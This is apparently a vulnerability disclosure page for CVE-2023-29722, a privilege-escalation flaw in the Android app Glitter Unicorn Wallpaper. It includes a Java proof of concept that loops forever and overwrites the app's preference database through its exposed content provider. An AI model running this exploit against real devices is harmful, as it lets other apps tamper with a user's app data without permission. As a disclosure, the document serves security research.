Headline
CVE-2023-29722: SO-CVEs/CVE detail.md at main · LianKee/SO-CVEs
The Glitter Unicorn Wallpaper app for Android 7.0 thru 8.0 allows unauthorized apps to actively request permission to modify data in the database that records information about a user’s personal preferences and will be loaded into memory to be read and used when the app is opened. An attacker could tamper with this data to cause an escalation of privilege attack.
Escalation of Privileges exists in Glitter Unicorn Wallpaper（CVE-2023-29722）
Vendor：bungaakpstudio007
Affected product：Glitter Unicorn Wallpaper(com.bungaakp007.glitterunicornwallpapers07112020)
Version：8.0 7.0
Download link：https://apkpure.com/cn/glitter-unicorn-wallpaper-4k/com.bungaakp007.glitterunicornwallpapers07112020/download
Description of the vulnerability for use in the CVE：The Glitter Unicorn Wallpaper app for Android 7.0 thru 8.0 allows unauthorized apps to actively request permission to modify data in the database that records information about a user’s personal preferences and will be loaded into memory to be read and used when the app is opened. An attacker could tamper with this data to cause an escalation of privilege attack.
poc：
public void attack(){ ContentResolver contentResolver = this.getApplicationContext().getContentResolver(); while (true) { Uri uri = Uri.parse(“content://com.bungaakp007.glitterunicornwallpapers07112020/wall/6”); ContentValues contentValues = new ContentValues(); contentValues.put(“nama","https://nimg.ws.126.net/?url=http%3A%2F%2Fdingyue.ws.126.net%2F2022%2F1107%2F4cc9e200j00rkyl4o0010c000uk00kdg.jpg&thumbnail=660x2147483647&quality=80&type=jpg”); contentResolver.update(uri,contentValues,null,null); } }